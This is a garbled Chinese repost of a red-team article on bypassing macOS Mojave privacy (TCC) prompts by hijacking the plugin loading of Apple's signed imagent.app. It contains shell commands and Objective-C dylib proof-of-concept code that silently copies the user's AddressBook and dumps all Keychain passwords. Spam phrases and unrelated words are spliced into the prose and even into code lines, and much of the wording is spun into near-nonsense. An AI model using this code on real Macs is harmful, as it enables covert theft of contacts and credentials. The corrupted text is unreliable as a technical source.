首页 今日头条正文

苏格兰,看我怎么绕过macOS的隐私操控,中国国航

冯卓斌工作

写在前面的话

在当时的红队研讨项目中,咱们经常会遇到各式各样的苹果设备。因而当每一个新的macOS版别引入了隐私或安全方面的更新时,咱们都需求运用一些实用技能来阅读和了解苹果做了哪些修正。

2018年末,苹果推出了macOS Mojave,并引入了一种隐私约束机制,旨在运用程序恳求拜访敏感数据(如相机、麦克风、通讯簿和日历等)时向用户宣布正告提示。并且通常状况下,红队研讨人员参加的项目其间心之一便是在完成浸透的进程中不被检测到,因而我妈们就需求绕过这些安全控制来防止用户发现咱们的行为,所以咱们最不想看到的便是体系给用户弹出下面这种正告对话框:

在这篇文章中,咱们将给咱们介绍一种绕过macOS隐私控制以及其汉之殇城市代码他维护拜访约束(例如Keychain等)的技能。

macOS隐私控制机制概览

此前我就一直在想办法绕过Mojave的隐私控制机制,并且我也在考虑第三方运用程序拜访日历和通讯簿等功用时,操作体系是怎样向用户显现隐私提示正告框的。更重要的是,我想知道苹果签名的运用程序怎样能够拜访这些功用而无需征得用户赞同。

其实我想要寻化州矛啪网找的答案都在TTC那里。TTC,即通明、答应和控制服务。除了沙箱煌夜沁雪之外,TTC还担任监控程序拜访恳求,并在恳求受限资源时向用户宣布罕组词警报。

咱们能够看看下列行为:

ls ~/Library/Calendars

除非你之前现已苏格兰,看我怎样绕过macOS的隐私控制,我国国航赞同过让Terminal.app拜访日历程序的话(能够运用指令“ttcutil reset Calendar”来重置答应),不然体系将弹出下列正告框:

点击“不允许”后,你将会在控制台中看到恳求运用过错的提示:

检查控制面板中的“安全&隐私”装备项,你将会看到:

风趣的是,在这个装备面板中,咱们并没有看到Calendar.app的身影,咱们运用codesign东西检查Calendar.app的权限时,信息如下:

com.apple.private.tcc.allow kTCCServiceReminders kTCCServiceCalendar kTCCServiceAddressBook

这儿,咱们能够看到com.apple.private.tcc.allow的权限,假如运用该权限,咱们就能够在不提示的状况下拜访受维护的资源了。因而,每个需求拜访的资源需求列在这个授权列表中,此刻的C啪啪动态alendar.app就能够直接拜访提示、日历和通讯簿等功用了,而TCC不会向用户显现任何的隐私正告框。

不幸的是,咱们不能直接用这种权限来给咱们的运用程序签名,并添加到com.apple.private权限列表中,因为它们只对苹果签名苏格兰,看我怎样绕过macOS的隐私控制,我国国航的二进制文件有用,因而咱们还需求寻觅另一种办法。

怎样完成?

自macOS Mojave发布以来,网上现已有许多帖子讨论过这方面的内容了,其间的大部分办法都依赖于运用某种办法来控制那些以在该权限列表里的运用程序,但咱们更倾向于运用其他办法来在方针运用程序中履行代码。

在本文中,咱们将留意力放在macOS自带的imagent.app身上,这个运用程序坐落/软娘驯渣夫System/Library/PrivateFrameworks/IMCore.framework/imagent.app。检查该运用程序的权限之后,咱们会发现一个十分风趣的工作。首要,咱们看到它能够在无需提示用户的状况下拜访通讯簿:

com.apple.private.tcc.allow.overridab苏格兰,看我怎样绕过macOS的隐私控制,我国国航le kTCCServiceAddressBook

别的,咱们还能够看到这个运用程序能够拜访多个Keychain拜访组:

keychain-access-groups ichat apple ap同人画pleaccount InternetAccounts IMCore

接下来,咱们需求运用codesign东西来验证代码相关的验证标识:

codesign -d --entitlements :- /System/Libra苏格兰,看我怎样绕过macOS的隐私控制,我国国航ry/PrivateFrameworks/IMCore.framework/imagent.app -vv

履行之后,咱们能够看到如下所示的嵌入式元数据:

CodeDirectory v=20100 size=4066 flags=0x0(none) hashes=120+5 location=embedded

在找到适宜的署理运用时需求留意的标识是library-validation,它代车管一切人水车能洗白表只要由苹果签名的dylib或运用程序组ID才干被加载。运行时标识代表运用程序运用了强化的运行时环境,而这种状况降不允许咱们将恣意dylib加载到进程中。

假如这两个标识都不存在,咱们就不用处理这些约束了。现在你或许在想,“我能够用dyldinsert库来加载我的dylib吗?”.嗯….不能够!苹果当然考虑过这一点,假如您检查https://opensource.apple.com/source/dyld/dyld-655.1.1/src/dyld.cpp.auto.html上的钱塘甬真重高源代码,你

将看到,当存在授权时,经过环境变量加载dylib儿子妈妈今日满意你的任何测验都会受到约束。

那么咱们还有什么其他挑选吗?经过剖析imagent.app的结构,咱们会看到一个PlugIns目录,它是为了在程序运行时加载扩展插件而规划的。因为咱们的方针运用程序不需求用到已签名的dylib,因而咱们有或许经过它来向已签名的进程中加载恣意代码。福建现巨型圆柱

接下来,咱们需求对二进制文件进行反编译,然后看看PlugIns目录是怎样被运用的。

在寻觅NSBundle引用时,咱们找到了_loadServices办法:

咱们能够看到插件Bundle有必要包含的文件扩展名,以及函数加载Bundle的进程:

接下来,咱们需求创立一个插件,这儿我直接找了一个现成的imservice插件来直接修正,插件途径为/System/Library/Messages/PlugIns。

拿到咱们的插件之后,咱们能够复制到一个可写入的途径:

cp -r /System/Library/PrivateFrameworks/IMCore.framework /tmp/; cp -r苏格兰,看我怎样绕过macOS的隐私控制,我国国航 /System/Library/Messages/PlugIns/iMessage.imservice /tmp/IMCore.framework/imagent.app/Con苏格兰,看我怎样绕过macOS的隐私控制,我国国航tents/PlugIns/

接下来咱们需求创立要加载的dylib,在创立dylib时,咱们将运用attribute((constructor))描述符来保证在加载库时履行供给的代码,这样才干在不向用户显现提示框的状况下退出署理运用程序。例如:

@impleme丁皎年ntation FunkyDylib :NSObject

-(void)copyFilesFrom:(NSString *)src toPath:(NSString *)dst {

NSFileManager *fileManager = [[NSFileManager alloc]init];

[fileManager copyI简脂大师temAtPath:src toPath:dst error:nil];

}

@end

void runPOC(voi苏格兰,看我怎样绕过macOS的隐私控制,我国国航d) {

[FunkyDylib alloc] copyFilesFrom:@"/Users/xpn/Library/Application Support/AddressBook" toPath:@"/tmp/AddressBook"];

NSLog(@"[*] Copy complete, check /tmp/AddressBook for data");

}

__attribute__((constructor))

static void customConstructor(int argc, const char **argv) {

printf("IMCovanvenere PlugIns hijack POC by @_xpn_\n\n");

runPOC;

exit(0);

}

编译完成后,咱们能够直接替换iMessage.imservice现有的插件dylib:

cp -f funky.dylib /tmp/IMCore.framework/imagent.app/Contents/PlugIns/iM脱女essage.imservice/Contents/M闫梦璐acOS/iMessage

接下来,发动imagent:

/tmp/IMCore.framework/imagent.app/Contents/MacOS/imagent

一切正常的话,此刻将不会弹出正告框,而通讯簿的数据都将会被复制到/tmp中:

拜访Keychain

除了上面的作用之外,咱们还能够将这项技能用到其他地方,比如说Keychain拜访组:

接下来,咱们测验获取用户的Keychain凭据,这儿需求运用SecItemCopyMatching办法来查找凭据,并导出Keychain的一切特点,包含用户存储的暗码:

@implementation FunkyDylib :NSObject

-(void)harvestKeychain {

NSDictionary *query = @{

(id)kSecClass: (id)kSecClassGenericPassword,

(id)kSecReturnData: (id)kCFBooleanTrue,

(id)kSecAttrSynchronizable: (id)kCFBooleanTrue,

(id)kSecReturnAttributes: (id)kCFBooleanTrue,

(id)kSecMatchLimit: (id)kSecMatchLimitAll

};

NSData *inData = nil;

CFTypeRef inTypeRef = (__brid香草绘ge CFTypeRef)inData;

OSStatus stat超汇玩文娱us = SecItemCopyMatching((CFDictionaryRef)query, &inTypeRef);

if(status != noErr)

{

printf("[!] Error with SecItemCopyMatching\n");

return;

}

NSLog(@"[*] Dumping Wifi Creds from Keychain...\n\n");

NSLog(@"%@", (__bridge id)inTypeRef);

}

@end

void runPOC(void) {

[[FunkyDylib alloc] harvestKeychain];

}

__attribute__((constructor))

static void customConstructor(int argc, const char **argv) {

printf("IMCore PlugIns hijack POC by @_xpn_\n\n");

runPOC;

exit(0);

}

复制上述内容并掩盖之前创立的iMessage插件dylib,然后发动imagent:

最终,祝咱们Happy Hunting:D!

*参阅来历:xpnsec,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。